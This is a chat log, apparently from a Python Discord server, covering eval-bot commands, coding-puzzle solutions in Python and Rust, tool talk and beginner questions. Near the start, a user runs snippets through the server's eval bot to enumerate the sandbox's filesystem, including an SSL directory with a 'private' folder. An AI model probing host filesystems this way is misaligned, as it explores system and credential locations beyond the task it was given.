['home', 'dev', 'snekbin', 'usr', 'snekbox', 'lib64', 'lib', 'etc']
!e ```py
from os import listdir as ld
for i in ld("../"):
print(ld(f"../{i}/"))
:white_check_mark: Your 3.13 eval job has completed with return code 0.
001 | ['main.py']
002 | ['shm']
003 | ['python']
004 | ['lib']
005 | ['requirements', 'user_base', 'config', 'scripts']
006 | ['ld-linux-x86-64.so.2']
007 | ['os-release', 'tmpfiles.d', 'udev', 'lsb', 'x86_64-linux-gnu', 'mime', 'systemd', 'dpkg', 'locale', 'init', 'terminfo', 'apt', 'compat-ld', 'sasl2', 'git-core', 'gcc', 'gold-ld', 'cpp', 'bfd-plugins', 'ssl']
008 | ['ld.so.cache']
!e ```py
from os import listdir as ld
print(ld("../lib/ssl"))
:white_check_mark: Your 3.13 eval job has completed with return code 0.
['private', 'misc', 'cert.pem', 'certs', 'openssl.cnf']
lol
Please react with ✅ to upload your file(s) to our paste bin, which is more accessible for some users.
Hey There!!
hi
what are you guys doing here
:white_check_mark: Your 3.13 eval job has completed with return code 0.
Most likely.
hi
A type hint indicates what type a variable is expected to be.
def add(a: int, b: int) -> int:
return a + b
The type hints indicate that for our add function the parameters a and b should be integers, and the function should return an integer when called.
It's important to note these are just hints and are not enforced at runtime.
add("hello ", "world")
The above code won't error even though it doesn't follow the function's type hints; the two strings will be concatenated as normal.
Third party tools like mypy can validate your code to ensure it is type hinted correctly. This can help you identify potentially buggy code, for example it would error on the second example as our add function is not intended to concatenate strings.
mypy's documentation contains useful information on type hinting, and for more information check out this documentation page.
At what point should i stop adding shit to my discord bot built for one server? i already have over 1200 lines
I learned python by doing discord bots it's fun don't stop
Just keep on adding cool stuff and try to make it more and more advanced each time
Maybe do an economy system with global features like boost, trading, events, etc
server wide things
learn shards etc
mind if i add you @sonic socket for just some advice
!stream 313797258200219648
✅ @atomic phoenix can now stream until <t:1749163493:f>.
print("HelloWorld")
uhhh, si there some fast way to get verified?
wht yall up to?
Hello
!e
code
!e
print(5)
:white_check_mark: Your 3.13 eval job has completed with return code 0.
5
!e
import random
import string
import time
def random_string(length=100):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
while True:
print(random_string())
time.sleep(0.01)
:x: Your 3.13 eval job timed out or ran out of memory.
001 | qqIDw6NCkBOwPg2dpGITXYun7lC3Kqf0WzVQhwomH5L4PF2Chea5QcK4rOiJrpdaJEOnj7BlduBRuHYJSeGiDGzmgkTLi9JgRru8
002 | U4X8B6EYqq7wh8sq96MaiPM6BpTj1XMbp5p4tDGSFWm4j6FoFc6c9cSFQzhapakTTOJEdL6Ou5PEAfLK4ufD1qgK1tJmwMPeUo9Y
003 | MwLxBauJNw9KVXNPO4AO9RMQB6f5V8LxiJTYPy9p5ccGY3dawrvqKv7jBsGQIz09V0NnxwBQIlm7AtwzCUdrdhnyV6Cy1k7lIp9I
004 | sZOIPYQCIJn3CAVUEWvy7E5lwlUYK8uty0GtTecIYiOa3xr8sGMUGbpp19A0uLHtrG4CCrkdMN5uP4yNgBFTjFeQ7guWBHQOg3Da
005 | iDlqoYiFsWE4o5iTKWUO9YAvBvoFKOYmu4Xb53kGwiovnuzmYbZGGfwO8XSLCT0KcShSCkOPViohOrg7r4cmk8yvA09bQ3UUsn6S
006 | fpyamATkPl1PRQZbJ2U2wqfhGj1sktDwLr4QsCGYrDJ7DPT04VQif4zWiXBfOLSSbMKg6Wda97dOFWaNhYsb9oRo7j0UrzoaFnMT
007 | HP3ZDHSFNPRnfHidqBDI9fsDFsIsUdmMBq9dZAIAw40PggawXFSDrtpC3GaRv58F8CMhZNEBWIsNkEQj58cpw7LlLdBrKxYEDXS8
008 | 1GnciyjIXNBr56hlwVKTgKrkbYGWin17GsxAqKgnenrrBgL5kt4bvxjmiYN7UnBDSy8szr8KszVwBRWVEI6bVoBEPwCEsABykjMy
009 | RCeyWjAUUitUuXCKMWWD5bVzGwDcyjgpktzyW7p8iirg4zrU7kv6XcaHF5UlfyG7rHIvjjcan0yGzfiRWlvyLAFH8RzyY43CqsOJ
010 | ESf78d10FJW07BiMcdvk2dd4S34oikF
... (truncated - too long, too many lines)
Full output: https://paste.pythondiscord.com/EN2VHPIUHXE5AUJXIEZ5M7WGPM
lol
:white_check_mark: Your 3.13 eval job has completed with return code 0.
muhehe
:warning: Your 3.13 eval job has completed with return code 0.
[No output]
!e
from random import *
from random import randint
myNum = randint(1, 10)
print(myNum)
:white_check_mark: Your 3.13 eval job has completed with return code 0.
6
yayayayay
you can do way shorter with ctypes i assume but this one's funnier
i just got up and im feeling sleepy as fuck
:white_check_mark: Your 3.13 eval job has completed with return code 0.
test
class Solution:
def stableMountains(self, height: List[int], threshold: int) -> List[int]:
result = []
for i, mountain_height in enumerate(height):
if mountain_height > threshold:
result.append(i + 1)
if result and result[-1] == len(height):
result.pop()
return result
I think this is better as a solution to the stated problem, yours is more likely to be more maintainable though assuming changing requirements
@atomic phoenix
@atomic phoenix audio works
[i for i, x in enumerate(map(threshold.__lt__, height), 1) if i != len(height) and x]?
I was going to do it loopless but it didn't work
list(filter(len(height).__ne__, map(itemgetter(0), filter(itemgetter(1), enumerate(map(threshold.__lt__, height), 1)))))
no loops
this shouldn't be there
it should have small numbers and giant input arrays
is there an existing library to do this
function useHistory(init) {
const [history, setHistory] = useState([init]);
const [index, setIndex] = useState(0);
const current = history[index];
const undo = index <= 0 ? undefined : () => setIndex(index - 1);
const redo = index >= history.length - 1 ? undefined : () => setIndex(index + 1);
const push = (next) => {
setHistory([...history.slice(undefined, index + 1), next]);
setIndex(index + 1);
};
return { current, undo, redo, push };
}
I have almost this in production
for a structured editor
so I can ctrl+z even if it's not a text editor
there is an alternative implementation with a single useState
which makes it so that undo, redo and push don't change
this also has a bug
(now fixed)
I'm thinking whether or not to download CLion
now that it's free for non-commercial
Rider I do use for non-commercial things
too early for me to use RustRover
still an early stage development product
if some tool can give diagnostics in the IDE, it should also work in CI
"you should be able to jq/sed/grep the lints"
(the output of the linter)
||```py
```||
@neon portal I've heard of GitPod
from back when it didn't have "AI" on the front page
why are they all AI
https://www.gitpod.io/
https://codeanywhere.com/
https://replit.com/
!d itertools.accumulate
itertools.accumulate(iterable[, function, *, initial=None])```
Make an iterator that returns accumulated sums or accumulated results from other binary functions.
The *function* defaults to addition. The *function* should accept two arguments, an accumulated total and a value from the *iterable*.
If an *initial* value is provided, the accumulation will start with that value and the output will have one more element than the input iterable...
to check the name of initial
||```python
acc = list(accumulate(nums, initial=0))
return sum(map(
sub,
map(acc.getitem, range(1, len(nums) + 1)),
map(acc.getitem, map(partial(max, 0), starmap(sub, enumerate(nums)))),
))
empirically universal
hmm
I can do better
||```py
sum(starmap(sub, map(partial(map, list(accumulate(nums, initial=0)).getitem), enumerate(map(partial(max, 0), starmap(sub, enumerate(nums))), 1))))
one line no loops
something is clearly wrong with the layout
starmap almost always means a hacky solution
map(partial(map looks like something reusable
||```rust
let mut set: std::collections::BTreeSet<_> = nums.into_iter().enumerate().map(|(i, x)| (x, i)).collect();
std::iter::from_fn(| | Some(set.pop_last()?.0 + set.pop_first()?.0)).min().unwrap() as f64 / 2.0
I just did what the problem statement tells to do
(well, almost)
why
it's named differently
also which average
do it in Rust, get 0ms
almost as inefficient as possible
within sane-ish limitations
effective enterprise solution
||```rust
nums.sort_unstable();
let mut iter = nums.iter();
std::iter::from_fn(| | Some(*iter.next_back()? + *iter.next()?)).min().unwrap() as f64 / 2.0
@atomic phoenix you misread the problem statement
idk how I mistyped the first line initially
okay, the longer I read the problem statement, the more I realise how much that is not "almost"
since it tells you to create a temporary array/list
and fill it with averages
||```rust
nums.sort_unstable();
nums.iter().copied().zip(nums.iter().copied().rev()).map(|(a, b)| a + b).min().unwrap() as f64 / 2.0
technically works
@atomic phoenix btw, collect into a BTree{Map,Set} makes a temporary Vec first
since that's more efficient both in compute and, in worst case, in memory
can also .clone() the nums.iter().copied()
you can just convert to float first, you don't need to protect against overflow that way
audio works
maybe LLMs are overtrained on concrete data
so can't do abstract thinking
codewars is really trying to convince me to solve stuff
very slow connection to the website for some reason
what
who made that signature
why
why is the C++ version taking an &
whereas in Rust it's usually owned Vec
I guess just some problems (ones which expect you to mutate the list) aren't supported for Rust
it should be either const & or && or just a value otherwise
my solution doesn't fit in the message
good enough
cannot run "analyse complexity" thing unfortunately
Fermat-style
we all know it's O(1)
within those limits
with limits this low, complexity doesn't matter as much yet
(computational complexity)
!d bisect
Source code: Lib/bisect.py
This module provides support for maintaining a list in sorted order without having to sort the list after each insertion. For long lists of items with expensive comparison operations, this can be an improvement over linear searches or frequent resorting.
The module is called bisect because it uses a basic bisection algorithm to do its work. Unlike other bisection tools that search for a specific value, the functions in this module are designed to locate an insertion point. Accordingly, the functions never call an __eq__() method to determine whether a value has been found. Instead, the functions only call the __lt__() method and will return an insertion point between values in an array.
that
with all symmetric pre-computed
@brazen wave it should have shared nodes
a semi-lattice not a tree
class Solution:
def findClosest(self, x: int, y: int, z: int) -> int:
d = abs(x-z) - abs(y-z)
if d < 0:
return 1
elif d > 0:
return 2
else:
return 0
✨magic✨
it used to be just a slower if
then it got optimised
match (x-z).abs() - (y-z).abs() {
..=-1 => 1,
0 => 0,
1.. => 2,
}
why is dragging a link from a browser into the other almost crashing everything each time
hang in tight, Ladybird will be released soon
just a year away every year
class Solution:
def clearDigits(self, s: str) -> str:
stack = []
for char in s:
if char.isdigit():
if stack:
stack.pop()
else:
stack.append(char)
else:
stack.append(char)
return "".join(stack)
let mut bytes: Vec<u8> = s.into();
let mut l = 0;
for r in 0..bytes.len() {
if (b'0'..=b'9').contains(&bytes[r]) {
l -= 1;
} else {
bytes[l] = bytes[r];
l += 1;
}
}
bytes.truncate(l);
return String::from_utf8(bytes).unwrap()
temp2
Google finally moved the " """AI""" 'Overview' " below actual relevant answers
(looking up macro rules reference again)
((unrelated to leetcode))
I would opt out if there was an option, even if it's some rare feature
All the intermediate tokens are mildly hallucinatory too
!import_token
Hi to all
Hellow
hello
hello guys
i am looking for someone good at python turtle
@viral forge
!compile #include <iostream>
int main() {
std::cout << "[]";
return 0;
}
I don’t understand the photo
highlighting the log of errors in the terminal
VSCode and some other IDEs add a red marker to the scrollbar on each non-0 exit
Wow that’s very cool
not cool at all i think i got what tutorial hell is😭
freaking hard ngl but i made it through at least 1 anyways
Vim is better
ed is best
hello
Hello guys
Hlo
Hi
Hi
why can't I type or talk in vc
!voice
Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.
ha ! I just started the advent of code 2024 ( from the official website). Well it is my first time doimg it. It seems fun I have 3 days done... I see that we have an aoc-spoilers forum here too. Im doing it in Python, and I might try few days in C, C++ ...
@undone vessel keep it up - I tried talking to you in VC but you were AFK I guess
Advent of Code, Day 4 2024 BEWARE ! This is a terrible Spoiler !!!! It contains very bad ideas 😛 ||```py
with open(src) as f:
lines = [s.strip() for s in f if s.strip() != '']
d = {
'n':[(0,0,'X'),(0,-1,'M'),(0,-2,'A'),(0,-3,'S')],
'ne':[(0,0,'X'),(1,-1,'M'),(2,-2,'A'),(3,-3,'S')],
'e':[(0,0,'X'),(1,0,'M'),(2,0,'A'),(3,0,'S')],
'se':[(0,0,'X'),(1,1,'M'),(2,2,'A'),(3,3,'S')],
's':[(0,0,'X'),(0,1,'M'),(0,2,'A'),(0,3,'S')],
'sw':[(0,0,'X'),(-1,1,'M'),(-2,2,'A'),(-3,3,'S')],
'w':[(0,0,'X'),(-1,0,'M'),(-2,0,'A'),(-3,0,'S')],
'nw':[(0,0,'X'),(-1,-1,'M'),(-2,-2,'A'),(-3,-3,'S')]
}
cstrt = 'X'
ayx = []
for s in lines:
ayx.append(list(s))
axs = len(ayx[0])-1
ays = len(ayx)-1
ar = 0
for y in range(ays+1):
for x in range(axs+1):
if ayx[y][x] == cstrt:
for o in d.keys():
if all([0 <= x+a <= axs and 0 <= y+b <= ays for a,b,c in d[o]]):
if all([ayx[y+b][x+a] == c for a,b,c in d[o]]):
ar +=1
print(ar)
#2507
lol I should implement something more generic, like a 2d research pattern ...
but this is a quick solution ...
cant speak @primal bison
@primal bison nah its because quite time
I shal never forgtive you 😄
idk
you have youtube?
link me
what are you doing on youtube?
cewll
or use
||```py
...
```||
I forgot the py ... py only gave you the coloring a it seems ... I dont have acces to aoc_spoiler, it seems to be lock ...
I meant more specifically the || part
to hide the code
||```py
print("spoilers")
this have been solve zillion of time so it is not really a spoilers anymore lol
no, it's still considered a spoiler, because some people are solving those for the first time
it's not a "what happens in a movie" type spoiler
just like with leetcode, the point is largely about solving these for yourself without prior hints
so sharing solutions is spoiling that experience
please verify my voice and give me voice permission
You should say more than 50 in the discord
what do you mean i know 50 undeleted messages without spam
I mean write at least 50 messages in group chat in python server
the voicechat text 1 and 0 is group chat or not
Not sure abou t it
your roles are not visible
maybe
do you have voice perm
what are you building @rich moss
@sand dock why i can't speak here
yes i am
Visual Studio is better for humans because it offers a user-friendly interface, powerful debugging tools, and intelligent code suggestions. It supports multiple languages, making development easier and faster. With built-in Git support and extensive extensions, it improves productivity. Beginners benefit from its guided features, while professionals enjoy its advanced capabilities for building complex applications efficiently.
However with all of those tools comes the cost of less brain utilization but we don't know if that is bad or good
soo
👍
he
Hello , How can I learn python-telegram-bot ?
I need a recommended resource or something like that
i \
b
i be so real it depends you know
like person to person because some people find it useful
and some people find it not useful
I have a academic data i want to analyse data can anyone help me?
hey, u can learn python with mimo dowload on app store or play store
real
hi anyone here?
I'm here
@delicate hearth
guys i have 14 days bannd pn vioce chat can sombody halpv
what do you need help with?
what happened?
@delicate hearth can you join vc?
DM @subtle palm if you have any questions regarding your voice ban
hi Vivek
Hello 
Sorry, I'm not available right now
ok
YOOOOO
how do i code my ip address to a public database?
i need a snake code pls dm me
congratulations
it depends on what kind of server you are using ig
Mandem
Hi
hi can anyone help me with problem on python?
@brazen wave hello?
hello
you're fine lol
im doing good
coding my first big project
im making a program to help me with a game since i have arthritis and after so long my wrists hurt really badly
no im letting it run in console and utilizing import keyboard and pynput mouse controller and button for it
yes
Thank you :D
i made a discord bot once
it was fun
ado is a japanese singer
yes I can hear you
So basically internships @brazen wave
@long field are you a first yr cs major by chance ?
ohh fair.
@warm verge https://news.ycombinator.com/
Im back
@warm verge https://peps.python.org/
Hello
I'm working on my first big project
I'm coding right now
but i havent been in this server long enough to stream yet
Hello
its just us again
I feel you on that
Its funny looking back to when i first started it was originally some joke between me and my friend and he made me try to solve a coding problem in python which eventually spiralled to me falling in love with coding
Now im working on learning how to code basic programs and then ill start learning the gui stuff
im currently in my project sitting at 369 lines of code
If anyone knows how to band their Instagram account then please tell me
@obtuse nebula
?
Possible or not possible
Hi,
I've been coding for 5 months, I just started Leetcode but its mindblowing hard. I don't know how to code the solutions. I started with freecodecamp. Then I code on my own for a bit and practised Excel automation.
Any tips regarding Leetcode?
Hi! I’m new to coding. Can anyone guide me on where to start? Thanks! 😊
!resources
The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.
Can yall rate my code?
name = input("What's your name? ")
day_feeling = input(f"Hello {name}, how's your day? ")
if day_feeling == "Bad":
day_feeling_bad = input("Why is it bad? ")
if day_feeling_bad == "Idk":
print("That's fine, some people might not remember why they feel bad.")
else:
print(f"I hope things get better soon, {name}.")
if day_feeling == "Great!":
print("That's awesome! Keep up the good vibes!")
if day_feeling == "Good":
print("Glad to hear that! Hope it continues to be good.")
if day_feeling != "Bad" or day_feeling != "Good" or day_feeling != "Great":
print("That's a weird mood! Thanks for sharing!")
Nice
I have one question why didn't you use an if-else chain, you could have used else in the last if statement.
You could add a .lower() after each input statement and only check for lower so the user doesn't have to think about upper/lowercase
I made a snake with the pygame module and the snake warps around the walls what should I modify for the graphics, I want to add some cool graphical things but I don't know what!
hey
try adding a counter for the apples

